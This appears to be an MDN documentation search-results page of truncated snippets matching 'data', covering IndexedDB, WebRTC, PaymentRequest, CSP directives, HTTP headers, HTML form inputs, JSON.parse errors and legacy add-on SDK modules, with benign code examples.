note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upperopen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement(...
...'li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperopen' in that specification.
... recommendation indexed database api draftthe definition of 'upperopen' in that specification.
...And 2 more matches
IDBObjectStore.count() - Web APIs
dataerror the specified key or key range is invalid.
... var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); var countrequest = objectstore.count(); countrequest.onsuccess = function() { console.log(countrequest.result); } specification specification status comment indexed database api 2.0the definition of 'count()' in that specification.
... recommendation indexed database api draftthe definition of 'count()' in that specification.
...And 2 more matches
IDBObjectStore.openCursor() - Web APIs
dataerror the specified key or key range is invalid.
...ar request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.value contains the current record being iterated through // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specification specification status comment indexed database api 2.0the definition of 'opencursor()' in that specification.
... recommendation indexed database api draftthe definition of 'opencursor()' in that specification.
...And 2 more matches
IDBRequest.onsuccess - Web APIs
ll working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitle...
...request.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
... recommendation indexed database api draftthe definition of 'onsuccess' in that specification.
...And 2 more matches
IDBRequest.readyState - Web APIs
ll working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the readystate of this request is " + updatetitlerequest.readys...
...tate); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification.
... recommendation indexed database api draftthe definition of 'readystate' in that specification.
...And 2 more matches
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
ll working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitle...
...request.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
... recommendation indexed database api draftthe definition of 'result' in that specification.
...And 2 more matches
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
ull working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as its title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the source of this request is " + updatetitlerequest.source); ...
... // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
... recommendation indexed database api draftthe definition of 'source' in that specification.
...And 2 more matches
IDBTransaction.objectStoreNames - Web APIs
syntax var mydatabase = transactionobj.objectstorenames; returns a domstringlist of names of idbobjectstore objects.
... specification specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation indexed database api draftthe definition of 'objectstorenames' in that specification.
...And 2 more matches
Key Values - Web APIs
if you wish to identify which specific dead key was pressed (in cases where more than one exists), you can do so by examining the keyboardevent's associated compositionupdate event's data property.
...you can identify which specific dead key was used (if more than one exists) by examining the keyboardevent's associated compositionupdate event's data property.
... the value of data will be one of the following: compositionevent.data value symbol comments gdk_key_dead_grave (0xfe50) qt::key_dead_grave (0x01001250) ` gdk_key_dead_acute (0xfe51) qt::key_dead_acute (0x01001251) ´ gdk_key_dead_circumflex (0xfe52) qt::key_dead_circumflex (0x01001252) ˆ gdk_key_dead_tilde (0xfe53) qt::key_dead_tilde (0x01001253) ˜ gdk_key_dead_perispomeni (0xfe53) ͂ gdk_key_dead_macron (0xfe54) qt::key_dead_macron (0x01001254) ¯ gdk_key_dead_breve (0xfe55) qt::key_dead_bre...
...And 2 more matches
LocalFileSystemSync - Web APIs
methods requestfilesystemsync() requests a file system where data should be stored.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
MediaKeySession - Web APIs
closing a session means that licenses and keys associated with it are no longer valid for decrypting media data.
... mediakeysession.expiration read only the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists.
... mediakeysession.generaterequest() returns a promise after generating a media request based on initialization data.
...And 2 more matches
NonDocumentTypeChildNode.nextElementSibling - Web APIs
ing')) { return; } object.defineproperty(item, 'nextelementsibling', { configurable: true, enumerable: true, get: function () { var el = this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'childnodenextelementsibling' in that specification.
... the element and characterdata interfaces implemented the new interface.
... browser compatibility the compatibility table on this page is generated from structured data.
...And 2 more matches
PasswordCredential - Web APIs
passwordcredential.additionaldata secure context one of a formdata instance, a urlsearchparams instance, or null.
... the data in the objects will be added to the request body and sent to the remote endpoint with the credentials.
... browser compatibility the compatibility table on this page is generated from structured data.
...And 2 more matches
PaymentRequest.PaymentRequest() - Web APIs
syntax var paymentrequest = new paymentrequest(methoddata, details, [options]); parameters methoddata contains an array of identifiers for the payment methods the merchant web site accepts and any associated payment method specific data.
...starting with more recent browsers, this parameter is more generic than credit cards, it is a single domstring, and the meaning of the data parameter changes with the supportedmethods.
... data a json-serializable object that provides optional information that might be needed by the supported payment methods.
...And 2 more matches
PaymentRequest.show() - Web APIs
if your architecture doesn't necessarily have all of the data ready to go at the moment it instantiates the payment interface by calling show(), specify the detailspromise parameter, providing a promise that is fulfilled once the data is ready.
... if this is provided, show() will not allow the user to interact with the payment interface until the promise is fulfilled, so that data can be updated prior to the user engaging with the payment process.
...those look like this: async/await syntax using await to wait for a promise to be resolved makes it possible to write the code to handle payments particularly cleanly: async function processpayment() { try { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onshippingaddresschange = ev => ev.updatewith(checkaddress(payrequest)); payrequest.onshippingoptionchange = ev => ev.updatewith(checkshipping(payrequest)); const repsonse = await payrequest.show(); await validateresponse(response); } catch(err) { /* handle the error; aborterror usually means a user cancellation */ } } in this code, the m...
...And 2 more matches
PaymentResponse.details - Web APIs
this data is returned by the payment app that satisfies the payment request, and must conform to the structure defined in the basiccardresponse dictionary.
...in a real-world implementation this data would then be sent to a payment server.
... payment.show().then(paymentresponse => { var paymentdata = { // payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
...And 2 more matches
PushEvent.PushEvent() - Web APIs
eventinitdict optional an options object containing any initialization data you want to populate the pushevent object with.
... the options are: data: the data you want the pushevent to contain, if any.
... when the constructor is invoked, the pushevent.data property of the resulting object will be set to a new pushmessagedata object containing bytes extracted from the eventinitdict data member.
...And 2 more matches
RTCConfiguration - Web APIs
if the remote endpoint is bundle-aware, all media tracks and data channels are bundled onto a single transport at the completion of negotiation, regardless of policy used, and any superfluous transports that were created initially are closed at that point.
... constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of content added: audio, video, and data channels.
... if the remote endpoint is not bundle-aware, then each of these dtls transports then handles all the communication for one type of data.
...And 2 more matches
RTCPeerConnection.createOffer() - Web APIs
if this value is false, the remote peer will not be offered to send audio data, even if the local side will be sending audio data.
... if this value is true, the remote peer will be offered to send audio data, even if the local side will not be sending audio data.
...if this value is false, the remote peer will not be offered to send video data, even if the local side will be sending video data.
...And 2 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
syntax let localid = rtcremoteoutboundrtpstreamstats.localid; value a domstring which can be compared to the value of an rtcinboundrtpstreamstats object's remoteid property to see if the two represent statistics for each of the two sides of the same set of data received by the local peer.
...the difference is that remote-outbound-rtp describes statistics about the transmission(s) from the perspective of the remote peer, while inbound-rtp offers statistics about the incoming data from the local peer's perspective.
... let startreport; async function networkteststart(pc) { if (pc) { startreport = await pc.getstats(); } } given an rtcpeerconnection, pc, this calls its getstats() method to obtain a statistics report object, which it stores in startreport for use once the end-of-test data has been collected by networkteststop().
...And 2 more matches
RTCSctpTransport - Web APIs
this provides information about limitations of the transport, but also provides a way to access the underlying datagram transport layer security (dtls) transport over which sctp packets for all of an rtcpeerconnection's data channels are sent and received.
... possibly the most useful property on this interface is its maxmessagesize property, which you can use to determine the upper limit on the size of messages you can send over a data channel on the peer connection.
... properties also inherits properties from: eventtarget rtcsctptransport.maxchannelsread only an integer value indicating the maximum number of rtcdatachannels that can be open simultaneously.
...And 2 more matches
Resource Timing API - Web APIs
the resource timing interfaces enable retrieving and analyzing detailed network timing data regarding the loading of an application's resource(s).
...the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
... resource size the performanceresourcetiming interface has three properties that can be used to obtain size data about a resource.
...And 2 more matches
SubtleCrypto.decrypt() - Web APIs
the decrypt() method of the subtlecrypto interface decrypts some encrypted data.
... it takes as arguments a key to decrypt with, some optional extra parameters, and the data to decrypt (also known as "ciphertext").
... it returns a promise which will be fulfilled with the decrypted data (also known as "plaintext").
...And 2 more matches
USBIsochronousInTransferResult - Web APIs
it represents the result from requesting a transfer of data from the usb device to the usb host.
... constructor usbisochronousintransferresult.usbisochronousintransferresult() creates a new usbisochronousintransferresult object with the provided packets and data fields.
... properties usbisochronousintransferresult.dataread only returns a dataview object containing the data received from the device.
...And 2 more matches
WEBGL_compressed_texture_etc - Web APIs
ext.compressed_rgb8_etc2 compresses rgb8 data with no alpha channel.
... ext.compressed_rgba8_etc2_eac compresses rgba8 data.
... ext.compressed_srgb8_etc2 compresses srgb8 data with no alpha channel.
...And 2 more matches
Animating textures in WebGL - Web APIs
you can use similar code to use any sort of data (such as a <canvas>) as the source for your textures.
...ate the <video> element that we'll use to retrieve the video frames: // will set to true when video can be copied to texture var copyvideo = false; function setupvideo(url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2 events ensures // there is data in the video video.addeventlistener('playing', function() { playing = true; checkready(); }, true); video.addeventlistener('timeupdate', function() { timeupdate = true; checkready(); }, true); video.src = url; video.play(); function checkready() { if (playing && timeupdate) { copyvideo = true; } } return video; } first we create a video ...
...we need both of these checks because it will produce an error if you upload a video to webgl that has no data available yet.
...And 2 more matches
Using DTMF with WebRTC - Web APIs
webrtc doesn't send dtmf codes as audio data.
...when you wish to transmit dtmf signals, you first need to decide which track to send them on, since dtmf is sent as a series of out-of-band payloads on the rtcrtpsender responsible for transmitting that track's data to the other peer.
...the rtcrtpsender will then send the tones to the other peer as packets alongside the track's audio data.
...And 2 more matches
The structured clone algorithm - Web APIs
it is used internally to transfer data between workers via postmessage(), storing objects with indexeddb, or copying objects for other apis.
... things that don't work with structured clone function objects cannot be duplicated by the structured clone algorithm; attempting to throws a data_clone_err exception.
... cloning dom nodes likewise throws a data_clone_err exception.
...And 2 more matches
ARIA annotations - Accessibility
for the moment, you can see the annotations data being exposed with tools like firefox accessibility inspector.
... let’s say we have a comment box like so: <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> we’ve used role="comment" to mark this up as a comment.
...<mark> is a suitable element for this purpose (a comment is a reference annotation), so the annotation could look like this: <p>the last half of the song is a slow-rising crescendo that peaks at the <mark aria-details="thread-1">end of the guitar solo</mark>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> note: if for some reason you can’t use the <mark> element in your application, you could also use <span role="mark"></span>.
...And 2 more matches
<filter-function> - CSS: Cascading Style Sheets
the <filter-function> css data type represents a graphical effect that can change the appearance of an input image.
... syntax the <filter-function> data type is specified using one of the filter functions listed below.
...const curvalue = document.queryselector('p code'); selectelem.addeventlistener('change', () => { setslider(selectelem.value); setdiv(selectelem.value); }); slider.addeventlistener('input', () => { setdiv(selectelem.value); }); function setslider(filter) { if(filter === 'blur') { slider.value = 0; slider.min = 0; slider.max = 30; slider.step = 1; slider.setattribute('data-unit', 'px'); } else if(filter === 'brightness' || filter === 'contrast' || filter === 'saturate') { slider.value = 1; slider.min = 0; slider.max = 4; slider.step = 0.05; slider.setattribute('data-unit', ''); } else if(filter === 'drop-shadow') { slider.value = 0; slider.min = -20; slider.max = 40; slider.step = 1; slider.setattribute('data-unit', 'px')...
...And 2 more matches
<integer> - CSS: Cascading Style Sheets
WebCSSinteger
the <integer> css data type is a special type of <number> that represents a whole number, whether positive or negative.
... syntax the <integer> data type consists of one or several decimal digits, 0 through 9 inclusive, optionally preceded by a single + or - sign.
... interpolation when animated, values of the <integer> data type are interpolated using discrete, whole steps.
...And 2 more matches
url() - CSS: Cascading Style Sheets
WebCSSurl()
the parameter is an absolute url, a relative url, or a data uri.
...the url() functional notation is the value for the <url> data type.
... /* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */ background-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg'); content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); offset-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fallbacks */ cursor: url(pointer.cur), pointer; /* associated short-hand properties */ background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space; /* as a parameter in another css function...
...And 2 more matches
Setting up adaptive streaming media sources - Developer guides
the mpd file tells the browser where the various pieces of media are located, it also includes meta data such as mimetype and codecs and there are other details such as byte-ranges in there too - it is an xml document and in many cases will be generated for you.
...nd having to load it first slows down startup a little you want to use the original files for both dash and other forms of delivery (such as microsoft smooth streaming) as a transition strategy you can use the same media files for both live transmission and vod at a later stage *sidx or segmentindexbox is a structure describing a segment by giving its earliest presentation time and other meta-data and can often make up a large portion of the mpd file.
... </adaptationset> </period> </mpd> the mpd file tells the browser where the various pieces of media are located, it also includes meta data such as mimetype and codecs and there are other details such as byte-ranges in there too.
...And 2 more matches
Audio and video manipulation - Developer guides
having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video.
... read the data from the intermediary <canvas> element and manipulate it.
... write the manipulated data to your "display" <canvas>.
...And 2 more matches
Content categories - Developer guides
main content categories metadata content elements belonging to the metadata content category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other out of band information.
...they are: <a>, <abbr>, <address>, <article>, <aside>, <audio>, <b>,<bdo>, <bdi>, <blockquote>, <br>, <button>, <canvas>, <cite>, <code>, <command>, <data>, <datalist>, <del>, <details>, <dfn>, <div>, <dl>, <em>, <embed>, <fieldset>, <figure>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hgroup>, <hr>, <i>, <iframe>, <img>, <input>, <ins>, <kbd>, <keygen>, <label>, <main>, <map>, <mark>, <math>, <menu>, <meter>, <nav>, <noscript>, <object>, <ol>, <output>, <p>, <picture>, <pre>, <progress>, <q>, <ruby>, <s>, <samp>, <script>, <section>, <select>, <s...
... elements belonging to this category are <abbr>, <audio>, <b>, <bdo>, <br>, <button>, <canvas>, <cite>, <code>, <command>, <data>, <datalist>, <dfn>, <em>, <embed>, <i>, <iframe>, <img>, <input>, <kbd>, <keygen>, <label>, <mark>, <math>, <meter>, <noscript>, <object>, <output>, <picture>, <progress>, <q>, <ruby>, <samp>, <script>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <svg>, <textarea>, <time>, <var>, <video>, <wbr> and plain text (not only consisting of white spaces characters).
...And 2 more matches
HTML attribute reference - HTML: Hypertext Markup Language
data <object> specifies the url of the resource.
... data-* global attribute lets you attach custom attributes to an html element.
... enctype <form> defines the content type of the form data when the method is post.
...And 2 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
this is never seen on the client-side, but on the server this is the value given to the data submitted with the checkbox's name.
...when the form is submitted, the data name/value pair will be subscribe=newsletter.
... if the value attribute was omitted, the default value for the checkbox is on, so the submitted data in that case would be subscribe=on.
...And 2 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
additional attributes in addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes: attribute description accept one or more unique file type specifiers describing file types to allow capture what source to use for capturing image or video data files a filelist listing the chosen files multiple a boolean which, if present, indicates that the user may choose more than one file accept the accept attribute value is a string that defines the file types the file input should accept.
...e, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> capture the capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
...for example, a file picker that needs content that can be presented as an image, including both standard image formats and pdf files, might look like this: <input type="file" accept="image/*,.pdf"> using file inputs a basic example <form method="post" enctype="multipart/form-data"> <div> <label for="file">choose file to upload</label> <input type="file" id="file" name="file" multiple> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } this produces the following output: note: you can find this example on github too — see the source code, and also see it running live.
...And 2 more matches
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
the above example demonstrates a number of features of <textarea>: an id attribute to allow the <textarea> to be associated with a <label> element for accessibility purposes a name attribute to set the name of the associated data point submitted to the server when the form is submitted.
... note: placeholders should only be used to show an example of the type of data that should be entered into a form; they are not a substitute for a proper <label> element tied to the input.
... <textarea name="textarea" rows="5" cols="30" placeholder="comment text."></textarea> note: placeholders should only be used to show an example of the type of data that should be entered into a form; they are not a substitute for a proper <label> element tied to the input.
...And 2 more matches
CSP: child-src - HTTP
you can also specify data schemas (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...And 2 more matches
CSP: form-action - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...And 2 more matches
CSP: object-src - HTTP
you can also specify data schemas (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...And 2 more matches
CSP: worker-src - HTTP
you can also specify data schemas (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...And 2 more matches
Content-Type - HTTP
in requests, (such as post or put), the client tells the server what type of data is actually sent.
... it also needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
... syntax content-type: text/html; charset=utf-8 content-type: multipart/form-data; boundary=something directives media-type the mime type of the resource or the data.
...And 2 more matches
Transfer-Encoding - HTTP
http/2 doesn't support http 1.1's chunked transfer encoding mechanism, as it provides its own, more efficient, mechanisms for data streaming.
...if you want to compress data over the whole connection, use the end-to-end content-encoding header instead.
... header type response header forbidden header name yes syntax transfer-encoding: chunked transfer-encoding: compress transfer-encoding: deflate transfer-encoding: gzip transfer-encoding: identity // several values can be listed, separated by a comma transfer-encoding: gzip, chunked directives chunked data is sent in a series of chunks.
...And 2 more matches
HTTP Messages - HTTP
WebHTTPMessages
http messages are how data is exchanged between a server and a client.
... an optional body containing data associated with the request (like content of an html form), or the document associated with a response.
...for example, get indicates that a resource should be fetched or post means that data is pushed to the server (creating or modifying a resource, or generating a temporary document to send back).
...And 2 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
the most common host environment is the browser, but javascript interpreters can also be found in a huge list of other places, including adobe acrobat, adobe photoshop, svg images, yahoo's widget engine, server-side environments such as node.js, nosql databases like the open source apache couchdb, embedded computers, complete desktop environments like gnome (one of the most popular guis for gnu/linux operating systems), and others.
... the fact that this data structure is so widely used is a testament to its versatility.
...this allows you to build data structures of arbitrary complexity.
...And 2 more matches
Keyed collections - JavaScript
« previousnext » this chapter introduces collections of data which are indexed by a key; map and set objects contain elements which are iterable in the order of insertion.
... maps map object ecmascript 2015 introduces a new data structure to map values to values.
... one use case of weakmap objects is to store private data for an object, or to hide implementation details.
...And 2 more matches
SyntaxError: JSON.parse: bad parsing - JavaScript
minus sign syntaxerror: json.parse: unexpected non-digit syntaxerror: json.parse: missing digits after decimal point syntaxerror: json.parse: unterminated fractional number syntaxerror: json.parse: missing digits after exponent indicator syntaxerror: json.parse: missing digits after exponent sign syntaxerror: json.parse: exponent part is missing a number syntaxerror: json.parse: unexpected end of data syntaxerror: json.parse: unexpected keyword syntaxerror: json.parse: unexpected character syntaxerror: json.parse: end of data while reading object contents syntaxerror: json.parse: expected property name or '}' syntaxerror: json.parse: end of data when ',' or ']' was expected syntaxerror: json.parse: expected ',' or ']' after array element syntaxerror: json.parse: end of data when property name ...
...was expected syntaxerror: json.parse: expected double-quoted property name syntaxerror: json.parse: end of data after property name when ':' was expected syntaxerror: json.parse: expected ':' after property name in object syntaxerror: json.parse: end of data after property value in object syntaxerror: json.parse: expected ',' or '}' after property value in object syntaxerror: json.parse: expected ',' or '}' after property-value pair in object literal syntaxerror: json.parse: property names must be double-quoted strings syntaxerror: json.parse: expected property name or '}' syntaxerror: json.parse: unexpected character syntaxerror: json.parse: unexpected non-whitespace character after json data syntaxerror: json.parse error: invalid character at position {0} (edge) error type syntaxerror wha...
... examples json.parse() does not allow trailing commas both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4,]'); json.parse('{"foo": 1,}'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4]'); json.parse('{"foo": 1}'); property names must be double-quoted strings you cannot use single-quotes around properties, like 'foo'.
...And 2 more matches
Understanding latency - Web Performance
latency is the time it takes for a packet of data to travel from source to a destination.
...we can determine the amount of latency by measuring the speed with which the data moves from one network location to another.
...different browser developer tools have different preset options, the characteristics emulated include download speed, upload speed, and minimum latency, or the minimum amount of type it takes to send a packet of data.
...And 2 more matches
Progressive loading - Progressive web apps (PWAs)
it's not unusual to have megabytes of image data to download before announcing the site is ready, but this again creates a bad perception of performance.
...the js13kpwa app uses a placeholder image instead, which is small and lightweight, while the final paths to target images are stored in data-src attributes: <img src='data/img/placeholder.png' data-src='data/img/slug.jpg' alt='name'> those images will be loaded via javascript after the site finishes building the html structure.
... loading via javascript the app.js file processes the data-src attributes like so: let imagestoload = document.queryselectorall('img[data-src]'); const loadimages = (image) => { image.setattribute('src', image.getattribute('data-src')); image.onload = () => { image.removeattribute('data-src'); }; }; the imagestoload variable contains references to all the images, while the loadimages function moves the path from data-src to src.
...And 2 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
t/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function.
...luckily, the canvas api has canvasrenderingcontext2d.getimagedata — that gives you an uint8clampedarray containing the image data in rgba: async function loadimage(src) { // load image const imgblob = await fetch(src).then(resp => resp.blob()); const img = await createimagebitmap(imgblob); // make canvas same size as image const canvas = document.createelement('canvas'); canvas.width = img.width; canvas.height = img.height; // draw image ont...
...o canvas const ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); return ctx.getimagedata(0, 0, img.width, img.height); } now it's "only" a matter of copying the data from javascript into wasm.
...And 2 more matches
Cross-domain Content Scripts - Archive of obsolete content
//main.js var data = require("sdk/self").data; var pageworker = require("sdk/page-worker").page({ contenturl: data.url("page.html"), contentscriptfile: data.url("page-script.js") }); pageworker.on("message", function(message) { console.log(message); }); the "page.html" file embeds an iframe whose content is served from "http://en.m.wikipedia.org/": <!doctype html> <!-- page.html --> <html> ...
... the "main.js": creates a panel whose content is supplied by "panel.html" and adds a content script "panel-script.js" to it sends the panel a "show" message when it is shown adds a button which shows the panel when it is clicked // main.js var data = require("sdk/self").data; var forecast_panel = require("sdk/panel").panel({ height: 50, contenturl: data.url("panel.html"), contentscriptfile: data.url("panel-script.js") }); forecast_panel.on("show", function(){ forecast_panel.port.emit("show"); }); require("sdk/ui/button/action").actionbutton({ id: "get-forecast", label: "get the forecast", icon: "./icon-16.png", onclick: f...
...unction() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummary(jsonresponse); var element = document.getelementbyid("forecast_summary"); element.textcontent = summary; }; request.send...
...(); }); function getsummary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].paragraph[0].$; } finally, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://datapoint.metoffice.gov.uk"] } content permissions and unsafewindow if you use "cross-domain-content", then javascript values in content scripts will not be available from pages.
core/promise - Archive of obsolete content
flat chaining you can use then for chaining intermediate operations on promises (var data = readasync().then(parse).then(extract)).
...it makes code easier to read and make changes later: var data = readasync(url).
... // extract sql query then(readdbasync); // exectue extracted query against db nested chaining flat chaining is not always an option though, as in some cases you may want to capture intermediate values of the chain: var result = readasync(url).then(function(source) { var json = parse(source); return readdbasync(extractquery(json)).then(function(data) { return writeasync(json.url, data); }); }); in general, nesting is useful for computing values from more than one promise: function eventualadd(a, b) { return a.then(function (a) { return b.then(function (b) { return a + b; }); }); } var c = eventualadd(aasync(), basync()); error handling one sometimes-unintuitive aspect of promises is that if you throw an exception...
...in such cases it's useful to put a timer on such tasks: function timeout(promise, ms) { let deferred = defer(); promise.then(deferred.resolve, deferred.reject); delay(ms, 'timeout').then(deferred.reject); return deferred.promise; } var tweets = readasync(url); timeout(tweets, 20).then(function(data) { ui.display(data); }, function() { alert('network is being too slow, try again later'); }); alternative promise apis there may be cases where you will want to provide more than just then method on your promises.
net/xhr - Archive of obsolete content
threat model the xmlhttprequest object can be used by an add-on to "phone home" and transmit potentially sensitive user data to third parties.
... if access to the filesystem isn't prevented, it could easily be used to access sensitive user data, though this may be inconsequential if the client can't access the network.
... if access to local area networks isn't prevented, malicious code could access sensitive data.
... if transmission of cookies isn't prevented, malicious code could access sensitive data.
util/match-pattern - Archive of obsolete content
for other schemes like file, resource, or data, use a scheme followed by an asterisk, as below.
... example pattern example matching urls example non-matching urls "*" http://example.com/ https://example.com/ ftp://example.com/ http://bar.com/foo.js http://foo.com/ file://example.js resource://me/my-addon/data/file.html data:text/html,hi there a domain name prefixed with an asterisk and dot matches any url of that domain or a subdomain, using any of http, https, ftp.
...to match local files, use file://*, and to match files loaded from your add-on's data directory, use resource://.
... example pattern example matching urls "file://*" file://c:/file.html file:///home/file.png "resource://*" resource://my-addon-at-me-dot-org/my-addon/data/file.html "data:*" data:text/html,hi there regular expressions you can specify patterns using a regular expression: var { matchpattern } = require("sdk/util/match-pattern"); var pattern = new matchpattern(/.*example.*/); the regular expression is subject to restrictions based on those applied to the html5 pattern attribute.
window/utils - Archive of obsolete content
usage private windows with this module your add-on will see private browser windows even if it has not explicitly opted into private browsing, so you need to take care not to store any user data derived from private browser windows.
... var { open } = require('sdk/window/utils'); var window = open('data:text/html,hello window'); this function wraps nsiwindowwatcher.openwindow.
... only chrome, resource, and data schemes are accepted.
... var { open } = require('sdk/window/utils'); var window = open('data:text/html,hello window', { name: 'jetpack window', features: { width: 200, height: 50, popup: true } }); args object extra argument(s) to be attached to the new window as the window.arguments property.
Custom XUL Elements with XBL - Archive of obsolete content
